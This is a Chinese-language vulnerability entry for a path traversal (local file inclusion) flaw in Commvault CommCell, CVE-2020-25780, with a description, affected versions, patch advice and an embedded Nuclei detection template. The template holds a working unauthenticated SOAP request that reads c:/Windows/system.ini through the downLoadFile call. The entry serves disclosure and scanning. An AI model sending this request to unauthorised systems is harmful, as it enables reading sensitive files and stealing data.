漏洞信息
漏洞名称: Commvault CommCell Local File Inclusion Vulnerability
漏洞编号:
漏洞类型: 文件读取
漏洞等级: 高危
漏洞描述: Commvault CommCell是一款广泛使用的企业级数据备份和恢复解决方案,旨在帮助组织保护和管理其关键数据。它通常部署在企业环境中,用于确保数据的可用性和完整性。由于其广泛的应用,CommCell的安全性对许多组织至关重要。该漏洞存在于CommCell的多个版本中,包括14.68之前的版本、15.58之前的15.x版本、16.44之前的16.x版本、17.29之前的17.x版本以及18.13之前的18.x版本。漏洞的根本原因是CommCell在处理文件下载请求时,未能正确验证用户提供的文件路径,导致攻击者可以通过构造特殊的SOAP请求,读取系统上的任意文件。这种类型的漏洞被称为本地文件包含(LFI),它允许攻击者绕过预期的访问限制,访问或读取未授权的文件。成功利用此漏洞的攻击者可以读取系统上的敏感文件,如配置文件、密码文件或其他关键数据,从而可能导致信息泄露或其他更严重的安全问题。由于此漏洞可以通过网络远程利用,且不需要用户交互或认证,因此其潜在影响较大。企业应立即应用Commvault提供的最新安全补丁或更新,以修复此漏洞并保护其系统免受攻击。
产品厂商: commvault
产品名称: commcell
影响版本: before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13
来源: https://github.com/projectdiscovery/nuclei-templates/blob/64a64b0937e369fef2cb769b4e48757616ecce15/http%2Fcves%2F2020%2FCVE-2020-25780.yaml
类型: projectdiscovery/nuclei-templates:github issues
POC详情
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| id: CVE-2020-25780
info: name: Commvault CommCell - Local File Inclusion author: pdteam, NaN@korelogic severity: high description: CommCell in Commvault before 14.68, 15.x before 15.58, 16.x before 16.44, 17.x before 17.29, and 18.x before 18.13 are vulnerable to local file inclusion because an attacker can view a log file can instead view a file outside of the log-files folder. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system. remediation: | Apply the latest security patches or updates provided by Commvault to fix the local file inclusion vulnerability. reference: - https://srcincite.io/blog/2021/11/22/unlocking-the-vault.html - http://kb.commvault.com/article/63264 - https://nvd.nist.gov/vuln/detail/CVE-2020-25780 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2020-25780 cwe-id: CWE-22 epss-score: 0.41514 epss-percentile: 0.97268 cpe: cpe:2.3:a:commvault:commcell:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: commvault product: commcell tags: cve,cve2020,commvault,lfi
http: - method: POST path: - "http://{{Host}}:{{Port}}/SearchSvc/CVSearchService.svc"
body: | <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/"> <soapenv:Header/> <soapenv:Body> <tem:downLoadFile> <tem:path>c:/Windows/system.ini</tem:path> </tem:downLoadFile> </soapenv:Body> </soapenv:Envelope>
headers: Cookie: Login soapaction: http://tempuri.org/ICVSearchSvc/downLoadFile content-type: text/xml
matchers-condition: and matchers: - type: word words: - "downLoadFileResult"
- type: status status: - 200
|